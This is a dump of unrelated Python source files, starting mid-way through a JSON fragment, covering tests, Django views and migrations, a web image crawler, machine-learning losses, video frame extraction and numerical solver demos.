8.684208 } } ] } ], "updateAction": "CRETAE" } deleteDataWithupdateaction=\ { "contextElements": [ { "entityId": { "id": "Room1", "type": "Room" }, "attributes": [ { "name": "p1", "type": "float", "value": 12 }, { "name": "p3", "type": "float", "value": 13 }, { "name": "p2", "type": "float", "value": 14 } ], "domainMetadata": [ { "name": "location", "type": "point", "value": { "latitude": 49.406393, "longitude": 8.684208 } } ] } ], "updateAction": "DELETE" }
68994
import unittest import time from tir import Webapp from datetime import datetime DateSystem = datetime.today().strftime('%d/%m/%Y') """------------------------------------------------------------------- /*/{Protheus.doc} FINA560TestCase TIR - Casos de testes da rotina movimentos de caixinha @author <NAME> @since 23/06/2020 @version 12 -------------------------------------------------------------------""" class FINA560(unittest.TestCase): #------------------------------------------- # Inicialiação setUpClass para TIR - FINA560 #------------------------------------------- @classmethod def setUpClass(inst): inst.oHelper = Webapp() inst.oHelper.Setup("SIGAFIN",DateSystem,"T1","D MG 01 ","06") inst.oHelper.Program('FINA560') #----------------------------------------- #{Protheus.doc} FINA560_CT010 #Valida褯 de inclus䯠de adiantamento com valor maior que o saldo. #author <NAME> #since 23/06/2020 #version 1.0 #See https://jiraproducao.totvs.com.br/secure/Tests.jspa#/testCase/GTSER- #----------------------------------------- def test_FINA560_CT010(self): self.oHelper.WaitShow("Movimento do Caixinha") self.oHelper.SetButton('Incluir') self.oHelper.SetBranch('D MG 01') self.oHelper.SetValue('EU_CAIXA','110') self.oHelper.SetValue('EU_TIPO','01') self.oHelper.SetValue('EU_HISTOR','TESTE VALOR') self.oHelper.SetValue('EU_NRCOMP','00001') self.oHelper.SetValue('EU_VALOR',"10.000,00") self.oHelper.SetValue('EU_BENEF','BENEF. TESTE') self.oHelper.SetValue('EU_CAIXA','120') self.oHelper.SetButton('Salvar') self.oHelper.CheckHelp(text='FA560SALDO',button='Fechar') self.oHelper.WaitShow("Movimento do Caixinha") self.oHelper.SetButton('Cancelar') self.oHelper.AssertTrue() #------------------------------------------- # Encerramento class para TIR - FINA560 #------------------------------------------- @classmethod def tearDownClass(inst): inst.oHelper.TearDown() if __name__ == '__main__': unittest.main()
69017
from rest_framework.test import APIClient from tests.app.serializers import QuoteSerializer from tests.utils import decode_content def test_list_response_unfiltered(): response = APIClient().get('/quotes/') expected = [ { 'character': 'Customer', 'line': "It's certainly uncontaminated by cheese", 'sketch': 'CHEESE SHOP', }, { 'character': 'The Black Knight', 'line': "It's just a flesh wound", 'sketch': 'HOLY GRAIL', }, ] content = decode_content(response) assert content == expected def test_detail_response_unfiltered(): response = APIClient().get('/quotes/parrot/') expected = { 'character': 'Shopkeeper', 'line': "Well, he's...he's, ah...probably pining for the fjords", 'sketch': 'PET SHOP', } content = decode_content(response) assert content == expected def test_list_response_filtered_includes(): response = APIClient().get('/quotes/?fields=character,line') expected = [ { 'character': 'Customer', 'line': "It's certainly uncontaminated by cheese", }, { 'character': 'The Black Knight', 'line': "It's just a flesh wound", }, ] content = decode_content(response) assert content == expected def test_detail_response_filtered_includes(): response = APIClient().get('/quotes/parrot/?fields=character,line') expected = { 'character': 'Shopkeeper', 'line': "Well, he's...he's, ah...probably pining for the fjords", } content = decode_content(response) assert content == expected def test_list_response_filtered_excludes(): response = APIClient().get('/quotes/?fields!=character') expected = [ { 'line': "It's certainly uncontaminated by cheese", 'sketch': 'CHEESE SHOP', }, { 'line': "It's just a flesh wound", 'sketch': 'HOLY GRAIL', }, ] content = decode_content(response) assert content == expected def test_detail_response_filtered_excludes(): response = APIClient().get('/quotes/parrot/?fields!=character') expected = { 'line': "Well, he's...he's, ah...probably pining for the fjords", 'sketch': 'PET SHOP', } content = decode_content(response) assert content == expected def test_response_filtered_with_some_bogus_fields(): response = APIClient().get('/quotes/parrot/?fields=sketch,spam,eggs') expected = { 'sketch': 'PET SHOP', } content = decode_content(response) assert content == expected def test_response_filtered_with_only_bogus_fields(): response = APIClient().get('/quotes/parrot/?fields=blah') expected = {} content = decode_content(response) assert content == expected def test_response_filtered_with_multiple_fields_in_separate_query_args(): response = APIClient().get('/quotes/parrot/?fields=character&fields=sketch') expected = { 'character': 'Shopkeeper', 'sketch': 'PET SHOP', } content = decode_content(response) assert content == expected def test_response_filtered_with_include_and_exclude(): response = APIClient().get('/quotes/parrot/?fields=character&fields=sketch&fields!=line') expected = { 'character': 'Shopkeeper', 'sketch': 'PET SHOP', } content = decode_content(response) assert content == expected def test_exclude_wins_for_ambiguous_filtering(): response = APIClient().get('/quotes/parrot/?fields=line,sketch&fields!=line') expected = { 'sketch': 'PET SHOP', } content = decode_content(response) assert content == expected def test_post_ignores_queryfields(): # Ensures that fields aren't dropped for other types of request response = APIClient().post('/quotes/?fields=line,sketch') expected = { 'request_method': 'POST', 'serializer_instance_fields': ['character', 'line', 'sketch'], 'request_query': {'fields': 'line,sketch'}, } content = decode_content(response) assert content == expected def test_instantiate_without_request_context(): # just test that it doesn't crash or b0rk the serializer to omit request context data = { 'character': 'the character', 'line': 'the line', 'sketch': 'the sketch', } serializer = QuoteSerializer(data=data) assert serializer.is_valid() assert sorted(serializer.get_fields()) == ['character', 'line', 'sketch']
69019
from __future__ import absolute_import, division, print_function import os from idaskins import UI_DIR from PyQt5 import uic from PyQt5.Qt import qApp from PyQt5.QtCore import Qt from PyQt5.QtGui import QCursor, QFont, QKeySequence from PyQt5.QtWidgets import QShortcut, QWidget Ui_ObjectInspector, ObjectInspectorBase = uic.loadUiType( os.path.join(UI_DIR, 'ObjectInspector.ui') ) class ObjectInspector(ObjectInspectorBase): """ Rudimentary Qt object inspector. Allows for easier finding of object names and classes for usage in QSS stylesheets. """ def __init__(self, *args, **kwargs): super(ObjectInspector, self).__init__(*args, **kwargs) self._selected_widget = None self._ui = Ui_ObjectInspector() self._ui.setupUi(self) # Make everything monospace. font = QFont('Monospace') font.setStyleHint(QFont.TypeWriter) self._ui.teInspectionResults.setFont(font) # Register signals. self._update_key = QShortcut(QKeySequence(Qt.Key_F7), self) self._ui.btnSelectParent.released.connect(self.select_parent) self._update_key.activated.connect(self.update_inspection) def update_inspection(self): widget = qApp.widgetAt(QCursor.pos()) self.update_selected_widget(widget) def select_parent(self): if self._selected_widget: parent = self._selected_widget.parent() if parent and parent.inherits('QWidget'): self.update_selected_widget(parent) def update_selected_widget(self, widget): if self._selected_widget: self._selected_widget.destroyed.disconnect( self.on_selected_widget_destroyed ) self._selected_widget = widget if widget: self._ui.btnSelectParent.setEnabled(widget.parent() is not None) self._ui.teInspectionResults.setText(( "Type: {}\n" "Name: {}\n" "Number of children: {}\n" "QSS: {}" ).format( widget.metaObject().className(), widget.objectName() or '<none>', len(widget.children()), widget.styleSheet() or '<none>', )) self._selected_widget.destroyed.connect( self.on_selected_widget_destroyed ) else: self._ui.teInspectionResults.setText('<no object under cursor>') def on_selected_widget_destroyed(self, obj): self._selected_widget = None
69044
from django.conf import settings from django.contrib.contenttypes.models import ContentType from django.http import HttpResponseForbidden, JsonResponse from django.shortcuts import get_object_or_404 from django.template.loader import render_to_string from django.views.generic import View from .categories import category_value from .models import Rating try: from account.mixins import LoginRequiredMixin except ImportError: # pragma: no cover from django.contrib.auth.mixins import LoginRequiredMixin # pragma: no cover NUM_OF_RATINGS = getattr(settings, "PINAX_RATINGS_NUM_OF_RATINGS", 5) class RateView(LoginRequiredMixin, View): def post(self, request, *args, **kwargs): ct = get_object_or_404(ContentType, pk=self.kwargs.get("content_type_id")) obj = get_object_or_404(ct.model_class(), pk=self.kwargs.get("object_id")) rating_input = int(request.POST.get("rating")) category = request.POST.get("category", "") cat_choice = category_value(obj, category) # Check for errors and bail early if category and cat_choice is None: return HttpResponseForbidden( "Invalid category. It must match a preconfigured setting" ) if rating_input not in range(NUM_OF_RATINGS + 1): return HttpResponseForbidden( "Invalid rating. It must be a value between 0 and {}".format(NUM_OF_RATINGS) ) data = { "user_rating": rating_input, "category": category, "overall_rating": Rating.update( rating_object=obj, user=request.user, category=cat_choice, rating=rating_input ) } # add support for eldarion-ajax data.update({ "content_type_id": self.kwargs.get("content_type_id"), "object_id": self.kwargs.get("object_id") }) data.update({ "html": render_to_string("pinax/ratings/_rating.html", data, request) }) return JsonResponse(data)
69050
import covid.models.SEIRD import covid.models.SEIRD_variable_detection import covid.models.SEIRD_incident import covid.util as util # 2020-04-25 forecast (?) SEIRD = { 'model' : covid.models.SEIRD.SEIRD, 'args' : {} # use defaults } # 2020-05-03 forecast strongest_prior = { 'model' : covid.models.SEIRD_variable_detection.SEIRD, 'args' : { 'gamma_shape': 100, 'sigma_shape': 100 } } # 2020-05-10 forecast fit_dispersion = { 'model' : covid.models.SEIRD_incident.SEIRD, 'args' : { 'gamma_shape': 100, 'sigma_shape': 100 } } # State forecasts starting 2020-05-17, all US forecasts resample_80_last_10 = { 'model': covid.models.SEIRD_incident.SEIRD, 'args' : { 'gamma_shape': 100, 'sigma_shape': 100, 'resample_high': 80, 'rw_use_last': 10 } } # State and US forecasts starting 2020-09-06 longer_H = { 'model': covid.models.SEIRD_incident.SEIRD, 'args' : { 'gamma_shape': 100, 'sigma_shape': 100, 'resample_high': 80, 'rw_use_last': 10, 'H_duration_est': 18.0 } } # State and US forecasts starting 2020-09-20, except 2020-10-20 # changed gamma_shape and sigma_shape from 100 to 1000 on 2021-01-10 llonger_H = { 'model': covid.models.SEIRD_incident.SEIRD, 'args' : { 'gamma_shape': 1000, 'sigma_shape': 1000, 'resample_high': 80, 'rw_use_last': 10, 'H_duration_est': 25.0 } } # Less rw llonger_H_fix = { 'model': covid.models.SEIRD_incident.SEIRD, 'args' : { 'gamma_shape': 1000, 'sigma_shape': 1000, 'resample_high': 80, 'rw_use_last': 10, 'rw_scale': 1e-1, 'H_duration_est': 25.0 } } # For debugging on May 10 # start with llonger_H_fix # increase priors on sigma, beta, death_prob, death_rate by factor of 10 debug = { 'model': covid.models.SEIRD_incident.SEIRD, 'args' : { 'gamma_shape': 1000, 'sigma_shape': 10000, 'beta_shape': 10, 'death_rate_shape': 100, 'death_prob_conc': 1000, 'resample_high': 80, 'rw_use_last': 10, 'rw_scale': 1e-1, 'H_duration_est': 25.0, 'num_warmup': 100, 'num_samples': 100 } } # For debugging on May 10 # start with llonger_H_fix # increase priors on sigma, beta, death_prob, death_rate by factor of 10 fix = { 'model': covid.models.SEIRD_incident.SEIRD, 'args' : { 'gamma_shape': 1000, 'sigma_shape': 10000, 'beta_shape': 10, 'death_rate_shape': 100, 'death_prob_conc': 1000, 'resample_high': 80, 'rw_use_last': 10, 'rw_scale': 1e-1, 'H_duration_est': 25.0 } } # State and US forecasts 2020-10-20 lllonger_H = { 'model': covid.models.SEIRD_incident.SEIRD, 'args' : { 'gamma_shape': 100, 'sigma_shape': 100, 'resample_high': 80, 'rw_use_last': 10, 'H_duration_est': 35.0 } } # changed gamma_shape and sigma_shape from 100 to 1000 on 2021-01-10 counties = { 'model': covid.models.SEIRD_incident.SEIRD, 'args' : { 'gamma_shape': 1000, 'sigma_shape': 1000, 'resample_high': 80, 'rw_use_last': 10, 'rw_scale': 1e-1, 'T_future': 8*7 } } counties_fix = { 'model': covid.models.SEIRD_incident.SEIRD, 'args' : { 'gamma_shape': 100, 'sigma_shape': 100, 'resample_high': 80, 'rw_use_last': 10, 'rw_scale': 1e-1, 'T_future': 8*7, 'H_duration_est': 25.0, 'beta_shape': 1 } }
69056
from winregistry.consts import ShortRootAlias, WinregType from winregistry.models import RegEntry, RegKey from winregistry.winregistry import WinRegistry __all__ = ( "WinRegistry", "RegEntry", "RegKey", "WinregType", "ShortRootAlias", )
69058
import time print("I will write the same line 3 times, slowly.\n") time.sleep(2) for n in range(3): print("Sleep ... zzz ...") time.sleep(5) print("\nThe End")
69061
from aiohttp_json_api.controller import DefaultController from aiohttp_json_api.errors import ResourceNotFound from aiohttp_json_api.fields.decorators import includes import examples.fantasy.tables as tbl from examples.fantasy.models import Author class CommonController(DefaultController): async def create_resource(self, data, **kwargs): pass async def fetch_resource(self, resource_id, **kwargs): model = self.ctx.schema.opts.resource_cls async with self.ctx.app['db'].acquire() as connection: result = await model.fetch_one(connection, resource_id) if result is None: raise ResourceNotFound(type=self.ctx.resource_type, id=resource_id) return result async def query_collection(self, **kwargs): model = self.ctx.schema.opts.resource_cls async with self.ctx.app['db'].acquire() as connection: results = await model.fetch_many(connection) return results.values() async def query_resource(self, resource_id, **kwargs): return await self.fetch_resource(resource_id, **kwargs) async def delete_resource(self, resource_id, **kwargs): pass class BooksController(CommonController): @includes('author') async def include_authors(self, field, resources, **kwargs): authors_ids = set(r.author.id for r in resources) if not authors_ids: return () cte = Author.cte(where=(tbl.authors.c.id.in_(authors_ids))) async with self.ctx.app['db'].acquire() as connection: results = await Author.fetch_many(connection, cte) return results.values()
69070
from funboost import boost import re import requests from parsel import Selector from pathlib import Path """ http://www.5442tu.com/mingxing/list_2_1.html 下载所有明星图片 """ @boost('xiaoxianrou_list_page', qps=0.05) def cralw_list_page(page_index): url = f'http://www.5442tu.com/mingxing/list_2_{page_index}.html' resp = requests.get(url) sel = Selector(resp.content.decode('gbk')) detail_sels = sel.xpath('//div[@class="imgList2"]/ul/li/a[1]') for detail_sel in detail_sels: crawl_detail_page.push(detail_sel.xpath('./@href').extract_first(), detail_sel.xpath('./@title').extract_first(), 1, is_first_picture=True) @boost('xiaoxianrou_detail_page', qps=2, do_task_filtering=True) def crawl_detail_page(url, title, picture_index, is_first_picture=False,): resp = requests.get(url) sel = Selector(resp.content.decode('gbk')) if is_first_picture: # 详情页图册也需要翻页。 total_page_str = sel.xpath('//div[@class="page"]/ul/li/a/text()').extract_first() total_page = int(re.search(r'共(\d+)页', total_page_str).group(1)) for p in range(2, total_page + 1): next_pic_page_url = url[:-5] + f'_{p}.html' crawl_detail_page.push(next_pic_page_url, title, picture_index=p) pic_url = sel.xpath('//p[@align="center"]/a/img/@src').extract_first() resp_pic = requests.get(pic_url) Path(f'./pictures/{title}/').mkdir(parents=True, exist_ok=True) (Path(f'./pictures/{title}/') / Path(f'./{title}_{picture_index}.jpg')).write_bytes(resp_pic.content) # 保存图片。 print(f'''保存图片成功:\n {(Path(f'./pictures/{title}/') / Path(f'./{title}_{picture_index}.jpg')).absolute()} ''') if __name__ == '__main__': # cralw_list_page(1) # crawl_detail_page('https://www.5442tu.com/mingxing/20181105/78924.html','范冰冰弟弟范丞丞阳光帅气明星壁纸图片高清',1,True) cralw_list_page.clear() crawl_detail_page.clear() for p in range(1, 10): cralw_list_page.push(p) cralw_list_page.consume() crawl_detail_page.consume()
69078
import torch import torch.nn as nn from dfw.losses import MultiClassHingeLoss, set_smoothing_enabled def get_loss(args): if args.opt == 'dfw': loss_fn = MultiClassHingeLoss() if 'cifar' in args.dataset: args.smooth_svm = True elif args.dataset == 'imagenet': return EntrLoss(n_classes=args.n_classes) else: loss_fn = nn.CrossEntropyLoss() print('L2 regularization: \t {}'.format(args.weight_decay)) print('\nLoss function:') print(loss_fn) if args.cuda: loss_fn = loss_fn.cuda() return loss_fn class EntrLoss(nn.Module): """Implementation from https://github.com/locuslab/lml/blob/master/smooth-topk/src/losses/entr.py. The MIT License Copyright 2019 Intel AI, CMU, Bosch AI Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. """ def __init__(self, n_classes, k=5, tau=1.0): super(EntrLoss, self).__init__() self.n_classes = n_classes self.k = k self.tau = tau def forward(self, x, y): n_batch = x.shape[0] x = x/self.tau x_sorted, I = x.sort(dim=1, descending=True) x_sorted_last = x_sorted[:,self.k:] I_last = I[:,self.k:] fy = x.gather(1, y.unsqueeze(1)) J = (I_last != y.unsqueeze(1)).type_as(x) # Could potentially be improved numerically by using # \log\sum\exp{x_} = c + \log\sum\exp{x_-c} safe_z = torch.clamp(x_sorted_last-fy, max=80) losses = torch.log(1.+torch.sum(safe_z.exp()*J, dim=1)) return losses.mean()
69085
from django.db import migrations class Migration(migrations.Migration): dependencies = [("cases", "0012_auto_20150311_0434")] operations = [ migrations.RemoveField(model_name="case", name="created_by"), migrations.RemoveField(model_name="case", name="created_on"), migrations.RemoveField(model_name="case", name="modified_by"), migrations.RemoveField(model_name="case", name="modified_on"), ]
69107
from typing import Optional, List # Definition for a binary tree node. class TreeNode: def __init__(self, val=0, left=None, right=None): self.val = val self.left = left self.right = right class Solution: def _inorder_traversal(self, root: TreeNode, list: List[int]) -> None: if root == None: return self._inorder_traversal(root.left, list) list.append(root.val) self._inorder_traversal(root.right, list) def inorderTraversal(self, root: Optional[TreeNode]) -> List[int]: result = [] self._inorder_traversal(root, result) return result
69117
from blaze.expr import symbol import numpy as np from datashape import dshape, isscalar def test_array_dshape(): x = symbol('x', '5 * 3 * float32') assert x.shape == (5, 3) assert x.schema == dshape('float32') assert len(x) == 5 assert x.ndim == 2 def test_element(): x = symbol('x', '5 * 3 * float32') assert isscalar(x[1, 2].dshape) assert x[1, 2].dshape == dshape('float32') assert str(x[1, 2]) == 'x[1, 2]' x = symbol('x', '5 * float32') assert isscalar(x[3].dshape) def test_slice(): x = symbol('x', '5 * 3 * {name: string, amount: float32}') assert x[2:, 0].dshape == dshape('3 * {name: string, amount: float32}') assert x[2:].dshape == x[2:, :].dshape # Make sure that these are hashable hash(x[:2]) hash(x[0, :2]) assert str(x[1]) == 'x[1]' assert str(x[:2]) == 'x[:2]' assert str(x[0, :2]) == 'x[0, :2]' assert str(x[1:4:2, :2]) == 'x[1:4:2, :2]' def test_negative_slice(): x = symbol('x', '10 * 10 * int32') assert x[:5, -3:].shape == (5, 3) def test_None_slice(): x = symbol('x', '10 * 10 * int32') assert x[:5, None, -3:].shape == (5, 1, 3) def test_list_slice(): x = symbol('x', '10 * 10 * int32') assert x[[1, 2, 3], [4, 5]].shape == (3, 2) def test_list_slice_string(): x = symbol('x', '10 * 10 * int32') assert str(x[[1, 2, 3]]) == "x[[1, 2, 3]]" def test_slice_with_boolean_list(): x = symbol('x', '5 * int32') expr = x[[True, False, False, True, False]] assert expr.index == ([0, 3],) def test_slice_with_numpy_array(): x = symbol('x', '2 * int32') assert x[np.array([True, False])].isidentical(x[[True, False]])
69155
from joblib import delayed, Parallel import os import sys import glob from tqdm import tqdm import cv2 import argparse import matplotlib.pyplot as plt plt.switch_backend('agg') def str2bool(s): """Convert string to bool (in argparse context).""" if s.lower() not in ['true', 'false']: raise ValueError('Need bool; got %r' % s) return {'true': True, 'false': False}[s.lower()] def extract_video_opencv(v_path, f_root, dim=240): '''v_path: single video path; f_root: root to store frames''' v_class = v_path.split('/')[-2] v_name = os.path.basename(v_path)[0:-4] out_dir = os.path.join(f_root, v_class, v_name) if not os.path.exists(out_dir): os.makedirs(out_dir) vidcap = cv2.VideoCapture(v_path) nb_frames = int(vidcap.get(cv2.CAP_PROP_FRAME_COUNT)) width = vidcap.get(cv2.CAP_PROP_FRAME_WIDTH) # float height = vidcap.get(cv2.CAP_PROP_FRAME_HEIGHT) # float if (width == 0) or (height == 0): print(v_path, 'not successfully loaded, drop ..'); return new_dim = resize_dim(width, height, dim) success, image = vidcap.read() count = 1 while success: image = cv2.resize(image, new_dim, interpolation = cv2.INTER_LINEAR) cv2.imwrite(os.path.join(out_dir, 'image_%05d.jpg' % count), image, [cv2.IMWRITE_JPEG_QUALITY, 80])# quality from 0-100, 95 is default, high is good success, image = vidcap.read() count += 1 if nb_frames > count: print('/'.join(out_dir.split('/')[-2::]), 'NOT extracted successfully: %df/%df' % (count, nb_frames)) vidcap.release() def resize_dim(w, h, target): '''resize (w, h), such that the smaller side is target, keep the aspect ratio''' if w >= h: return (int(target * w / h), int(target)) else: return (int(target), int(target * h / w)) def main_UCF101(v_root, f_root): print('extracting UCF101 ... ') print('extracting videos from %s' % v_root) print('frame save to %s' % f_root) if not os.path.exists(f_root): os.makedirs(f_root) v_act_root = glob.glob(os.path.join(v_root, '*/')) print(len(v_act_root)) for i, j in tqdm(enumerate(v_act_root), total=len(v_act_root)): v_paths = glob.glob(os.path.join(j, '*.avi')) v_paths = sorted(v_paths) Parallel(n_jobs=32)(delayed(extract_video_opencv)(p, f_root) for p in tqdm(v_paths, total=len(v_paths))) def main_HMDB51(v_root, f_root): print('extracting HMDB51 ... ') print('extracting videos from %s' % v_root) print('frame save to %s' % f_root) if not os.path.exists(f_root): os.makedirs(f_root) v_act_root = glob.glob(os.path.join(v_root, '*/')) for i, j in tqdm(enumerate(v_act_root), total=len(v_act_root)): v_paths = glob.glob(os.path.join(j, '*.avi')) v_paths = sorted(v_paths) Parallel(n_jobs=32)(delayed(extract_video_opencv)(p, f_root) for p in tqdm(v_paths, total=len(v_paths))) def main_JHMDB(v_root, f_root): print('extracting JHMDB ... ') print('extracting videos from %s' % v_root) print('frame save to %s' % f_root) if not os.path.exists(f_root): os.makedirs(f_root) v_act_root = glob.glob(os.path.join(v_root, '*/')) for i, j in tqdm(enumerate(v_act_root), total=len(v_act_root)): v_paths = glob.glob(os.path.join(j, '*.avi')) v_paths = sorted(v_paths) Parallel(n_jobs=32)(delayed(extract_video_opencv)(p, f_root) for p in tqdm(v_paths, total=len(v_paths))) def main_kinetics400(v_root, f_root, dim=128): print('extracting Kinetics400 ... ') for basename in ['train', 'val']: v_root_real = v_root + '/' + basename if not os.path.exists(v_root_real): print('Wrong v_root'); sys.exit() f_root_real = f_root + '/' + basename print('Extract to: \nframe: %s' % f_root_real) if not os.path.exists(f_root_real): os.makedirs(f_root_real) v_act_root = glob.glob(os.path.join(v_root_real, '*/')) v_act_root = sorted(v_act_root) # if resume, remember to delete the last video folder for i, j in tqdm(enumerate(v_act_root), total=len(v_act_root)): v_paths = glob.glob(os.path.join(j, '*.mp4')) v_paths = sorted(v_paths) # for resume: v_class = j.split('/')[-2] out_dir = os.path.join(f_root_real, v_class) if os.path.exists(out_dir): print(out_dir, 'exists!'); continue print('extracting: %s' % v_class) # dim = 150 (crop to 128 later) or 256 (crop to 224 later) Parallel(n_jobs=32)(delayed(extract_video_opencv)(p, f_root_real, dim=dim) for p in tqdm(v_paths, total=len(v_paths))) def main_Panasonic(v_root, f_root): print('extracting Panasonic ... ') print('extracting videos from %s' % v_root) print('frame save to %s' % f_root) if not os.path.exists(f_root): os.makedirs(f_root) v_act_root = glob.glob(os.path.join(v_root, '*/')) print(len(v_act_root)) for i, j in tqdm(enumerate(v_act_root), total=len(v_act_root)): v_paths = glob.glob(os.path.join(j, '*.mkv')) v_paths = sorted(v_paths) Parallel(n_jobs=32)(delayed(extract_video_opencv)(p, f_root) for p in tqdm(v_paths, total=len(v_paths))) if __name__ == '__main__': # v_root is the video source path, f_root is where to store frames # edit 'your_path' here: #dataset_path = '/vision/u/nishantr/data' parser = argparse.ArgumentParser() parser.add_argument('--ucf101', default=False, type=str2bool) parser.add_argument('--jhmdb', default=False, type=str2bool) parser.add_argument('--hmdb51', default=False, type=str2bool) parser.add_argument('--kinetics', default=False, type=str2bool) parser.add_argument('--panasonic', default=False, type=str2bool) parser.add_argument('--dataset_path', default='/scr/nishantr/data', type=str) parser.add_argument('--dim', default=128, type=int) args = parser.parse_args() dataset_path = args.dataset_path if args.ucf101: main_UCF101(v_root=dataset_path + '/ucf101/videos/', f_root=dataset_path + '/ucf101/frame/') if args.jhmdb: main_JHMDB(v_root=dataset_path + '/jhmdb/videos/', f_root=dataset_path + '/jhmdb/frame/') if args.hmdb51: main_HMDB51(v_root=dataset_path+'/hmdb/videos', f_root=dataset_path+'/hmdb/frame') if args.panasonic: main_Panasonic(v_root=dataset_path+'/action_split_data/V1.0', f_root=dataset_path+'/frame', dim=256) if args.kinetics: if args.dim == 256: main_kinetics400( v_root=dataset_path + '/kinetics/video', f_root=dataset_path + '/kinetics/frame256', dim=args.dim ) else: assert args.dim == 128, "Invalid dim: {}".format(args.dim) main_kinetics400(v_root=dataset_path+'/kinetics/video', f_root=dataset_path+'/kinetics/frame', dim=128) # main_kinetics400(v_root='your_path/Kinetics400_256/videos', # f_root='your_path/Kinetics400_256/frame', dim=256)
69200
import requests from io import BytesIO from PIL import Image def get_user_image(url): response = requests.get(url) img_file = BytesIO(response.content) return Image.open(img_file) def get_user_details(username): res = requests.get(f'https://api.github.com/users/{username}') return res.json() if res.status_code == 200 else None def replace_space(string, idx): return string[:idx] + '\n' + string[idx+1:] if idx > -1 else string def insert_new_line(string): return replace_space( replace_space(string, string.find(' ', 53)), string.find(' ', 106) )
69264
from django.db import migrations INSTANCE_TYPE = 'OpenStackTenant.Instance' VOLUME_TYPE = 'OpenStackTenant.Volume' def change_billing_types(apps, schema_editor): Offering = apps.get_model('marketplace', 'Offering') OfferingComponent = apps.get_model('marketplace', 'OfferingComponent') for offering in Offering.objects.filter( type__in=(INSTANCE_TYPE, VOLUME_TYPE) ).all(): components = offering.components.filter(type__startswith='gigabytes_') if components: for component in components: component.type = OfferingComponent.BillingTypes.FIXED component.save(update_fields=['type']) class Migration(migrations.Migration): dependencies = [ ('marketplace_openstack', '0005_change_private_offerings_customers') ] operations = [migrations.RunPython(change_billing_types)]
69280
import numpy as np import scipy as sp import scipy.sparse import matplotlib as mpl import matplotlib.pyplot as plt import matplotlib.path import time plt.ion() import pybie2d """ Demonstrate how to use the pybie2d package to solve an interior Laplace problem On a complicated domain using a global quadrature This example demonstrates how to do this entirely using low-level routines, To demonstrate both how to use these low level routines And to give you an idea what is going on under the hood in the higher level routines """ NG = 100 h_max = 0.01 # extract some functions for easy calling PPB = pybie2d.boundaries.panel_polygon_boundary.panel_polygon_boundary.Panel_Polygon_Boundary Grid = pybie2d.grid.Grid PointSet = pybie2d.point_set.PointSet Laplace_Layer_Form = pybie2d.kernels.high_level.laplace.Laplace_Layer_Form Laplace_Layer_Singular_Form = pybie2d.kernels.high_level.laplace.Laplace_Layer_Singular_Form Laplace_Layer_Apply = pybie2d.kernels.high_level.laplace.Laplace_Layer_Apply Cauchy_Layer_Apply = pybie2d.kernels.high_level.cauchy.Cauchy_Layer_Apply Find_Near_Points = pybie2d.misc.near_points.find_near_points Pairing = pybie2d.pairing.Pairing ################################################################################ # define problem # boundary boundary = PPB([0,1,1,0], [0,0,1,1], [h_max]*4, [True]*4) # solution solution_func = lambda x, y: 2*x + y bc = solution_func(boundary.x, boundary.y) def err_plot(up): # compute the error errorp = up - solution_func(full_grid.xg[phys], full_grid.yg[phys]) digitsp = -np.log10(np.abs(errorp)+1e-16) digits = np.zeros_like(full_grid.xg) digits[phys] = digitsp mdigits = np.ma.array(digits, mask=ext) # plot the error as a function of space (only good in interior) fig, ax = plt.subplots(1,1) clf = ax.imshow(mdigits[:,::-1].T, extent=[0,1,0,1], cmap=mpl.cm.viridis_r) ax.set_aspect('equal') fig.colorbar(clf) print('Error: {:0.2e}'.format(np.abs(errorp).max())) ################################################################################ ##### solve problem the hard way ############################################### ################################################################################ ################################################################################ # find physical region # (this implements a fast way to tell if points are in or out of the boundary) # (and of course, for the squish boundary, we could easily figure out something # faster, but this illustrates a general purpose routine) full_grid = Grid([0,1], NG, [0,1], NG, x_endpoints=[False,False], y_endpoints=[False,False]) # this is hiding a lot of stuff! phys, ext = boundary.find_interior_points(full_grid) phys = full_grid.reshape(phys) ext = full_grid.reshape(ext) ################################################################################ # solve for the density DLP = Laplace_Layer_Singular_Form(boundary, ifdipole=True) A = -0.5*np.eye(boundary.N) + DLP AI = np.linalg.inv(A) tau = AI.dot(bc) ################################################################################ # naive evaluation # generate a target for the physical grid gridp = Grid([0,1], NG, [0,1], NG, mask=phys, x_endpoints=[False,False], y_endpoints=[False,False]) # evaluate at the target points u = np.zeros_like(gridp.xg) up = Laplace_Layer_Apply(boundary, gridp, dipstr=tau) err_plot(up) ################################################################################ # use the oversampling features hmax = gridp.xg[1,0] - gridp.xg[0,0] fbdy, IMAT = boundary.prepare_oversampling(hmax/6.0) IMAT = sp.sparse.csr_matrix(IMAT) ftau = IMAT.dot(tau) up = Laplace_Layer_Apply(fbdy, gridp, dipstr=ftau) err_plot(up)
69359
from SDLInterface import SDLInterface from abc import abstractmethod class InterfaceGenerator: def __init__(self): pass @abstractmethod def add_interface(self, sdl_interface: SDLInterface): pass @abstractmethod def generate(self, output_directory): pass @abstractmethod def name(self): pass
69411
from responsebot.handlers import BaseTweetHandler, register_handler @register_handler class HandlerClassInInit(BaseTweetHandler): def on_tweet(self, tweet): print('HandlerClassInInit')
69504
